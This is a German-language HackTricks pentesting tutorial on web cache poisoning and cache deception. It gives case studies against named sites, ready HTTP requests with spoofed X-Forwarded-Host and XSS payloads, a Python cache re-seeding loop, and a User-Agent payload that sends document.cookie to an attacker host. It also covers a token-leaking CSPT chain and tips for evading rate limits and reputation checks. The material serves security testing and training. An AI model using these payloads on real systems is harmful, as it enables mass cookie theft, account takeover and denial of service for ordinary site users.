Cache Poisoning and Cache Deception

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Der Unterschied

Was ist der Unterschied zwischen web cache poisoning und web cache deception?

  • In web cache poisoning veranlasst der Angreifer, dass die Anwendung bösartigen Inhalt im Cache speichert, und dieser Inhalt wird aus dem Cache an andere Anwender der Anwendung ausgeliefert.
  • In web cache deception veranlasst der Angreifer, dass die Anwendung sensiblen Inhalt eines anderen Benutzers im Cache speichert, und der Angreifer ruft diesen Inhalt anschließend aus dem Cache ab.

Cache Poisoning

Cache poisoning zielt darauf ab, den clientseitigen Cache so zu manipulieren, dass Clients Ressourcen laden müssen, die unerwartet, unvollständig oder unter Kontrolle eines Angreifers sind. Das Ausmaß der Auswirkungen hängt von der Beliebtheit der betroffenen Seite ab, da die verunreinigte Antwort ausschließlich den Nutzern serviert wird, die die Seite während der Dauer der Cache-Kontamination besuchen.

Die Durchführung eines Cache-Poisoning-Angriffs umfasst mehrere Schritte:

  1. Identifikation von Unkeyed Inputs: Dabei handelt es sich um Parameter, die zwar nicht erforderlich sind, damit eine Anfrage gecached wird, aber die Antwort des Servers verändern können. Das Erkennen dieser Inputs ist wichtig, da sie ausgenutzt werden können, um den Cache zu manipulieren.
  2. Ausnutzung der Unkeyed Inputs: Nachdem die Unkeyed Inputs identifiziert wurden, besteht der nächste Schritt darin, herauszufinden, wie diese Parameter missbraucht werden können, um die Antwort des Servers zugunsten des Angreifers zu verändern.
  3. Sicherstellen, dass die poisoned response gecached wird: Der letzte Schritt ist sicherzustellen, dass die manipulierte Antwort im Cache gespeichert wird. So erhält jeder Nutzer, der die betroffene Seite während der Cache-Kontamination besucht, die verunreinigte Antwort.

Erkennung: HTTP-Header prüfen

Normalerweise, wenn eine Antwort im Cache gespeichert wurde, gibt es einen Header, der das anzeigt. Du kannst nachsehen, welche Header du beachten solltest in diesem Beitrag: HTTP Cache headers.

Erkennung: Caching von Fehlercodes

Wenn du denkst, dass die Antwort in einem Cache gespeichert wird, könntest du versuchen, Anfragen mit einem fehlerhaften Header zu senden, die mit einem Statuscode 400 beantwortet werden sollten. Versuche dann, die Anfrage normal aufzurufen — wenn die Antwort ein 400er-Statuscode ist, weißt du, dass es verwundbar ist (und du könntest sogar einen DoS durchführen).

Du findest weitere Optionen in:

Cache Poisoning to DoS

Beachte jedoch, dass manchmal diese Arten von Statuscodes nicht gecached werden, sodass dieser Test nicht zuverlässig sein könnte.

Erkennung: Unkeyed Inputs identifizieren und bewerten

Du kannst Param Miner verwenden, um brute-force parameters and headers durchzuführen, die möglicherweise die Antwort der Seite verändern. Zum Beispiel könnte eine Seite den Header X-Forwarded-For verwenden, um dem Client anzuzeigen, das Script von dort zu laden:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Einen schädlichen Response vom Back-End-Server hervorrufen

Wenn der Parameter/Header identifiziert ist, prüfe, wie er bereinigt wird und wo er reflektiert wird oder die Antwort über den Header beeinflusst. Kannst du ihn trotzdem missbrauchen (eine XSS ausführen oder von dir kontrollierten JS-Code laden? einen DoS durchführen?…)

Die Antwort im Cache ablegen

Sobald du die Seite identifiziert hast, die missbraucht werden kann, welchen Parameter/Header du verwenden musst und wie du ihn missbrauchen kannst, musst du die Seite in den Cache bringen. Je nach Resource, die du im Cache platzieren willst, kann das einige Zeit dauern — du musst es möglicherweise mehrere Sekunden lang versuchen.

Der Header X-Cache in der Antwort kann sehr nützlich sein, da er den Wert miss haben kann, wenn die Anfrage nicht gecached wurde, und den Wert hit, wenn sie gecached ist.
Der Header Cache-Control ist ebenfalls interessant, um zu wissen, ob eine Resource gecached wird und wann sie das nächste Mal erneut gecached wird: Cache-Control: public, max-age=1800

Ein weiterer interessanter Header ist Vary. Dieser Header wird oft verwendet, um zusätzliche Header anzuzeigen, die als Teil des Cache-Keys behandelt werden, selbst wenn sie normalerweise nicht keyed sind. Daher kann, wenn der Angreifer den User-Agent des victims kennt, er den Cache für Nutzer mit genau diesem User-Agent vergiften.

Ein weiterer Header im Zusammenhang mit dem Cache ist Age. Er gibt die Zeit in Sekunden an, die das Objekt im Proxy-Cache war.

Beim Cachen einer Anfrage sei vorsichtig mit den Headern, die du verwendest, da einige davon unerwartet als keyed verwendet werden könnten und das victim denselben Header verwenden muss. Teste eine Cache Poisoning immer mit verschiedenen Browsern, um zu prüfen, ob sie funktioniert.

Foundational cache poisoning case studies

HackerOne global redirect via X-Forwarded-Host

  • Der Origin erzeugte templated Redirects und kanonische URLs mit X-Forwarded-Host, aber der Cache-Key verwendete nur den Host Header, sodass eine einzige Antwort jeden Besucher von / vergiftete.
  • Vergiften mit:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
  • Fordere sofort / erneut an, ohne den gefälschten Header; wenn die Weiterleitung bestehen bleibt, hast du eine globale Host-Spoofing-Primitive, die reflektierte Redirects/Open Graph-Links häufig in persistente Probleme verwandelt.

GitHub repository DoS über Content-Type + PURGE

  • Anonymer Datenverkehr wurde nur anhand des Pfads unterschieden, während das Backend in einen Fehlerzustand geriet, als es einen unerwarteten Content-Type sah. Diese Fehlerantwort konnte für jeden nicht authentifizierten Benutzer eines Repos zwischengespeichert werden.
  • GitHub hat außerdem (versehentlich) das PURGE-Verb respektiert, was einem Angreifer erlaubte, einen gesunden Eintrag zu löschen und die Caches zu zwingen, die vergiftete Variante bei Bedarf zu laden:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
  • Vergleiche stets authenticated vs anonymous cache keys, fuzz selten als Key verwendete Header wie Content-Type, und prüfe auf exponierte cache-maintenance verbs, um re-poisoning zu automatisieren.

Shopify cross-host persistence loops

  • Multi-layer Caches verlangen manchmal mehrere identische Hits, bevor ein neues Objekt übernommen wird. Shopify nutzte denselben Cache über zahlreiche lokalisierte Hosts hinweg, sodass die Persistenz Auswirkungen auf viele Properties hatte.
  • Verwende kurze Automatisierungsschleifen, um wiederholt zu reseeden:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
  • Nach einer hit-Antwort crawle andere Hosts/Assets, die denselben Cache-Namespace teilen, um den cross-domain blast radius zu demonstrieren.

JS asset redirect → stored XSS chain

  • Private Programme hosten häufig geteiltes JS wie /assets/main.js auf Dutzenden von Subdomains. Wenn X-Forwarded-Host die Redirect-Logik für diese Assets beeinflusst, aber nicht im Cache-Key berücksichtigt wird, wird die gecachte Antwort zu einem 301 auf Angreifer-JS, was überall dort, wo das Asset importiert wird, zu stored XSS führt.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
  • Kartiere, welche Hosts denselben Asset-Pfad wiederverwenden, damit du eine Kompromittierung mehrerer Subdomains nachweisen kannst.

GitLab statischer DoS über X-HTTP-Method-Override

  • GitLab lieferte statische Bundles aus Google Cloud Storage aus, das X-HTTP-Method-Override respektiert. Durch Überschreiben von GET zu HEAD wurde ein cachebares 200 OK mit Content-Length: 0 zurückgegeben, und der Edge-Cache ignorierte die HTTP-Methode bei der Erzeugung des Cache-Schlüssels.
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
  • Eine einzelne Anfrage ersetzte das JS-Bundle bei jedem GET durch einen leeren Body und führte damit effektiv zu einem DoSing der UI. Teste immer method overrides (X-HTTP-Method-Override, X-Method-Override, etc.) gegen static assets und bestätige, ob der Cache je nach Methode variiert.

HackerOne statische Asset-Schleife über X-Forwarded-Scheme

  • Rails’ Rack middleware vertraute X-Forwarded-Scheme, um zu entscheiden, ob HTTPS erzwungen werden soll. Spoofing http gegen /static/logo.png löste eine cacheable 301 aus, sodass alle Nutzer anschließend Weiterleitungen (oder Schleifen) statt des Assets erhielten:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
  • Kombiniere scheme spoofing mit host spoofing, wenn möglich, um irreversible redirects für stark sichtbare Ressourcen zu erzeugen.

Cloudflare host-header casing mismatch

  • Cloudflare normalisierte den Host header für cache keys, leitete aber die rohe Groß-/Kleinschreibung an origins weiter. Das Senden von Host: TaRgEt.CoM löste alternatives Verhalten in origin routing/templating aus, während gleichzeitig der kanonische lowercase cache bucket befüllt wurde.
GET / HTTP/1.1
Host: TaRgEt.CoM
  • Enumeriere CDN tenants, indem du mixed-case hosts (und andere normalized headers) erneut sendest und die cached response mit der origin response vergleichst, um shared-platform cache poisonings aufzudecken.

Red Hat Open Graph meta poisoning

  • Das Injizieren von X-Forwarded-Host in Open Graph tags verwandelte eine reflected HTML injection in ein stored XSS, sobald das CDN die Seite cached. Verwende während des Testens einen harmless cache buster, um production users nicht zu beeinträchtigen:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
  • Social-Media-Scraper konsumieren zwischengespeicherte Open Graph tags, sodass ein einzelner vergifteter Eintrag die Nutzlast weit über direkte Besucher hinaus verteilt.

Beispiele zur Ausnutzung

Einfachstes Beispiel

Ein Header wie X-Forwarded-For wird ungefiltert in die Antwort reflektiert.
Du kannst eine einfache XSS-Payload senden und den Cache vergiften, sodass jeder, der die Seite aufruft, XSSed wird:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Beachte, dass dies eine Anfrage an /en?region=uk poisonen wird, nicht an /en

Cache poisoning for DoS

Cache Poisoning to DoS

Cache poisoning durch CDNs

In this writeup wird folgendes einfaches Szenario erklärt:

  • Das CDN wird alles unter /share/ cachen
  • Das CDN wird %2F..%2F NICHT dekodieren oder normalisieren, daher kann es als path traversal to access other sensitive locations that will be cached verwendet werden, wie https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • Der Webserver WILL %2F..%2F dekodieren und normalisieren und wird mit /api/auth/session antworten, welches den auth token enthält.

Cookies können auch in der Antwort einer Seite reflektiert werden. Wenn du dies z. B. ausnutzen kannst, um eine XSS zu verursachen, könntest du XSS in mehreren Clients auslösen, die die bösartige Cache-Antwort laden.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Beachte, dass wenn das vulnerable cookie sehr häufig von den Nutzern verwendet wird, reguläre Requests den Cache leeren werden.

Erzeugen von Diskrepanzen mit Delimitern, Normalisierung und Punkten

Siehe:

Cache Poisoning via URL discrepancies

Cache poisoning mit path traversal, um einen API key zu stehlen

This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.

Das wird auch besser erklärt in:

Cache Poisoning via URL discrepancies

Mehrere Header verwenden, um web cache poisoning vulnerabilities auszunutzen

Manchmal musst du exploit several unkeyed inputs, um einen Cache ausnutzen zu können. Zum Beispiel könntest du eine Open redirect finden, wenn du X-Forwarded-Host auf eine von dir kontrollierte Domain setzt und X-Forwarded-Scheme auf http. Wenn der server alle HTTP requests to HTTPS weiterleitet und den Header X-Forwarded-Scheme als Domainnamen für den Redirect verwendet, kannst du steuern, wohin die Seite durch den Redirect zeigt.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Ausnutzen bei eingeschränktem Varyheader

Wenn du feststellst, dass der X-Host Header als Domainname zum Laden einer JS-Ressource verwendet wird, der Vary Header in der Antwort jedoch User-Agent angibt, musst du einen Weg finden, den User-Agent des Opfers zu exfiltrieren und den Cache mit diesem User-Agent zu poisonen:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Sende eine GET request, bei der die request sowohl in der URL als auch im body enthalten ist. Wenn der web server den aus dem body verwendet, aber der cache server den aus der URL caches, wird jeder, der diese URL aufruft, tatsächlich den parameter aus dem body verwenden. Wie die vuln, die James Kettle auf der Github website gefunden hat:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Dazu gibt es ein PortSwigger-Lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Zum Beispiel ist es möglich, parameters in ruby-Servern mit dem Zeichen ; anstelle von & zu trennen. Dies kann genutzt werden, um unkeyed parameters values in keyed ones einzuschleusen und auszunutzen.

Portswigger-Lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Hier erfährst du, wie man Cache Poisoning attacks by abusing HTTP Request Smuggling durchführt.

Automated testing for Web Cache Poisoning

Der Web Cache Vulnerability Scanner kann verwendet werden, um automatisch auf Web Cache Poisoning zu testen. Er unterstützt viele verschiedene Techniken und ist hochgradig anpassbar.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Dieses reale Muster verknüpft eine header-basierte reflection primitive mit CDN/WAF-Verhalten, um zuverlässig das gecachte HTML, das an andere Nutzer ausgeliefert wird, zu beeinflussen:

  • Das Haupt-HTML reflektierte einen untrusted request header (z. B. User-Agent) in einen ausführbaren Kontext.
  • Das CDN entfernte cache headers, aber ein interner/origin Cache existierte. Das CDN cached außerdem automatisch Requests, die auf statische Erweiterungen enden (z. B. .js), während der WAF bei GETs für statische Assets eine schwächere Inhaltsprüfung anwandte.
  • Eigenheiten im Request-Flow erlaubten es, dass eine Anfrage an einen .js-Pfad den cache key/variant beeinflusste, der für das anschließende Haupt-HTML verwendet wurde, wodurch cross-user XSS via header reflection möglich wurde.

Praktisches Vorgehen (beobachtet bei einem populären CDN/WAF):

  1. Von einer sauberen IP (Reputation-basierte Downgrades vermeiden), setze einen bösartigen User-Agent über den Browser oder Burp Proxy Match & Replace.
  2. Im Burp Repeater bereite eine Gruppe von zwei Requests vor und nutze “Send group in parallel” (Single-Packet-Modus funktioniert am besten):
  • Erste Anfrage: Eine GET-Anfrage an einen .js-Ressourcenpfad auf derselben Origin senden und dabei deinen bösartigen User-Agent mitschicken.
  • Unmittelbar danach: GET die Hauptseite (/).
  1. Das Race im CDN/WAF-Routing plus das automatisch gecachte .js sorgt oft dafür, dass eine poisoned gecachte HTML-Variante erzeugt wird, die dann an andere Besucher mit denselben Cache-Key-Bedingungen ausgeliefert wird (z. B. gleiche Vary-Dimensionen wie User-Agent).

Beispiel-Header-Payload (um non-HttpOnly cookies zu exfiltrieren):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Betriebliche Hinweise:

  • Viele CDNs verbergen Cache-Header; Poisoning kann erst nach mehrstündigen Refresh-Zyklen sichtbar werden. Verwende mehrere vantage IPs und drossele Anfragen, um Rate-Limits oder Reputations-Trigger zu vermeiden.
  • Die Verwendung einer IP aus der Cloud des CDN verbessert manchmal die Routing-Konsistenz.
  • Wenn eine strikte CSP vorhanden ist, funktioniert das weiterhin, sofern die reflection im Haupt-HTML-Kontext ausgeführt wird und CSP inline-Ausführung erlaubt oder kontextabhängig umgangen wird.

Auswirkungen:

  • Wenn Session-Cookies nicht HttpOnly sind, ist ein Zero-Click ATO möglich, indem document.cookie massenhaft von allen Nutzern exfiltriert wird, die das poisoned HTML erhalten.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

Ein Sitecore-spezifisches Muster ermöglicht nicht authentifizierte Schreibvorgänge in den HtmlCache, indem pre‑auth XAML-Handler und AjaxScriptManager reflection missbraucht werden. Wenn der Sitecore.Shell.Xaml.WebControl handler erreicht wird, ist ein xmlcontrol:GlobalHeader (abgeleitet von Sitecore.Web.UI.WebControl) verfügbar und folgender reflective call ist erlaubt:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Dies schreibt beliebiges HTML unter einen vom Angreifer gewählten cache key und ermöglicht präzises cache poisoning, sobald cache keys bekannt sind.

Für vollständige Details (cache key construction, ItemService enumeration und eine verkettete post‑auth deserialization RCE):

Sitecore

Verwundbare Beispiele

Apache Traffic Server (CVE-2021-27577)

ATS leitete das Fragment in der URL weiter, ohne es zu entfernen, und erzeugte den cache key nur anhand von host, path und query (ignorierte das Fragment). Daher wurde die Anfrage /#/../?r=javascript:alert(1) an das Backend als /#/../?r=javascript:alert(1) gesendet und der cache key enthielt nicht die Nutzlast, sondern nur host, path und query.

403 und Storage Buckets

Cloudflare cached früher 403-Antworten. Der Versuch, auf S3 oder Azure Storage Blobs mit falschen Authorization-Headern zuzugreifen, führte zu einer 403-Antwort, die zwischengespeichert wurde. Auch wenn Cloudflare das Caching von 403-Antworten eingestellt hat, kann dieses Verhalten in anderen Proxy-Diensten weiterhin vorhanden sein.

Injizieren von Parametern, die in den Cache-Key eingehen

Caches schließen oft bestimmte GET-Parameter in den cache key ein. Zum Beispiel hat Fastly’s Varnish den size-Parameter in Requests gecached. Wenn jedoch eine URL-codierte Version des Parameters (z. B. siz%65) mit einem fehlerhaften Wert gesendet wurde, wurde der cache key mit dem korrekten size-Parameter konstruiert. Das Backend verarbeitete jedoch den Wert aus dem URL-codierten Parameter. Die URL-Codierung des zweiten size-Parameters führte dazu, dass der Cache ihn ignorierte, das Backend ihn aber nutzte. Das Setzen dieses Parameters auf den Wert 0 führte zu einem cachebaren 400 Bad Request-Fehler.

User-Agent-Regeln

Einige Entwickler blockieren Requests mit User-Agents, die denen von stark genutzten Tools wie FFUF oder Nuclei entsprechen, um Serverlast zu reduzieren. Ironischerweise kann dieser Ansatz Schwachstellen wie cache poisoning und DoS einführen.

Illegale Header-Felder

Die RFC7230 legt die erlaubten Zeichen in Header-Namen fest. Header, die Zeichen außerhalb des spezifizierten tchar-Bereichs enthalten, sollten idealerweise eine 400 Bad Request-Antwort auslösen. In der Praxis halten sich Server nicht immer an diesen Standard. Ein bemerkenswertes Beispiel ist Akamai, das Header mit ungültigen Zeichen weiterleitet und jeden 400-Fehler cached, sofern der cache-control-Header nicht vorhanden ist. Es wurde ein ausnutzbares Muster identifiziert, bei dem das Senden eines Headers mit einem illegalen Zeichen, wie \, zu einem cachebaren 400 Bad Request-Fehler führte.

Neue Header finden

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Das Ziel von Cache Deception ist, Clients dazu zu bringen, Ressourcen zu laden, die vom Cache mit ihren sensiblen Informationen gespeichert werden.

Beachte zunächst, dass Erweiterungen wie .css, .js, .png usw. normalerweise so konfiguriert sind, dass sie im Cache gespeichert werden. Wenn du also www.example.com/profile.php/nonexistent.js aufrufst, wird der Cache wahrscheinlich die Antwort speichern, weil er die .js Erweiterung erkennt. Wenn jedoch die Anwendung mit den sensiblen Benutzerdaten von www.example.com/profile.php antwortet, kannst du diese Inhalte von anderen Benutzern stealen.

Andere Dinge zum Testen:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Verwende weniger bekannte Erweiterungen wie .avif

Ein weiteres sehr klares Beispiel findet sich in diesem Write-up: https://hackerone.com/reports/593712.
In dem Beispiel wird erklärt, dass, wenn du eine nicht existierende Seite wie http://www.example.com/home.php/non-existent.css lädst, der Inhalt von http://www.example.com/home.php (mit den sensiblen Informationen des Benutzers) zurückgegeben wird und der Cache-Server das Ergebnis speichern wird.
Dann kann der Angreifer http://www.example.com/home.php/non-existent.css in seinem eigenen Browser aufrufen und die vertraulichen Informationen der zuvor zugreifenden Benutzer einsehen.

Beachte, dass der Cache-Proxy so konfiguriert sein sollte, Dateien basierend auf der Erweiterung der Datei (.css) zu cachen und nicht basierend auf dem content-type. In dem Beispiel wird http://www.example.com/home.php/non-existent.css einen text/html Content-Type statt text/css MIME-Type haben.

Hier erfährst du, wie man Cache Deceptions attacks abusing HTTP Request Smuggling durchführt.

CSPT-assisted authenticated cache poisoning (Account Takeover)

This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.

Kernidee:

  • Ein sensitiver API-Endpunkt verlangt einen custom auth header und ist beim Origin korrekt als non-cacheable markiert.
  • Das Anhängen einer statisch wirkenden Endung (z. B. .css) lässt das CDN den Pfad als statisches Asset behandeln und die Antwort cachen, häufig ohne auf sensitive Header zu variieren.
  • Die SPA enthält CSPT: Sie hängt ein vom Benutzer kontrolliertes Pfadsegment an die API-URL an, während sie den Auth-Header des Opfers (z. B. X-Auth-Token) mitsendet. Durch Injizieren von ../.. Traversal wird der authentifizierte Fetch auf die cachebare Pfadvariante (…/v1/token.css) umgeleitet, wodurch das CDN das Token-JSON des Opfers unter einem öffentlichen Key cached.
  • Jeder kann dann denselben cache key ohne Authentifizierung per GET abrufen und das Token des Opfers auslesen.

Beispiel

  • Sensitiver Endpunkt (am Origin non-cacheable):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • Statisch wirkendes Suffix schaltet CDN auf cacheable:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • CSPT in SPA fügt auth header hinzu und erlaubt traversal:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');

const apiUrl = `https://api.example.com/v1/users/info/${userId}`;

fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
  • Angriffskette:
  1. Locke das Opfer auf eine URL, die Dot-Segmente in den SPA-Pfadparameter injiziert, z. B.:
  1. Die SPA sendet einen authentifizierten fetch an:
  1. Die Browser-Normalisierung löst dies auf zu:
  1. Das CDN behandelt .css als statisches Asset und speichert das JSON mit Cache-Control: public, max-age=… im Cache.
  2. Öffentlicher Abruf: jeder kann dann GET https://api.example.com/v1/token.css ausführen und das zwischengespeicherte Token-JSON erhalten.

Voraussetzungen

  • Die SPA führt authentifizierte fetch/XHR-Anfragen an die gleiche API-Origin aus (oder cross-origin bei funktionierendem CORS) und hängt sensitive Header oder Bearer-Tokens an.
  • Edge/CDN wendet auf Dateiendungen basierendes Caching für statisch wirkende Pfade an (z. B. *.css, *.js, Bilder) und variiert den Cache-Schlüssel nicht anhand des sensitiven Headers.
  • Der Origin-Endpunkt ohne Endung ist nicht-cachebar (korrekt), aber die Variante mit Dateiendung wird erlaubt oder von Edge-Regeln nicht blockiert.

Validierungs-Checkliste

  • Identifiziere sensitive dynamische Endpunkte und teste Suffixe wie .css, .js, .jpg, .json. Achte auf Cache-Control: public/max-age und X-Cache: Hit (oder Äquivalent, z. B. CF-Cache-Status), während der Inhalt JSON bleibt.
  • Finde Client-Code, der benutzereingesteuerte Eingaben in API-Pfade konkatenieren lässt, während Auth-Header angehängt werden. Injiziere ../-Sequenzen, um die authentifizierte Anfrage auf dein Ziel-Endpoint umzuleiten.
  • Bestätige, dass der authentifizierte Header in der umgeleiteten Anfrage vorhanden ist (z. B. im Proxy oder in Server-Logs) und dass das CDN die Antwort unter dem durchlaufenen Pfad im Cache speichert.
  • Rufe aus einem frischen Kontext (ohne Auth) denselben Pfad ab und bestätige, dass das geheime JSON aus dem Cache ausgeliefert wird.

Automatic Tools

  • toxicache: Golang-Scanner, um web cache poisoning Vulnerabilities in einer Liste von URLs zu finden und mehrere Injection-Techniken zu testen.
  • CacheDecepHound: Python-Scanner, entwickelt um Cache Deception Vulnerabilities in Webservern zu erkennen.

References

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks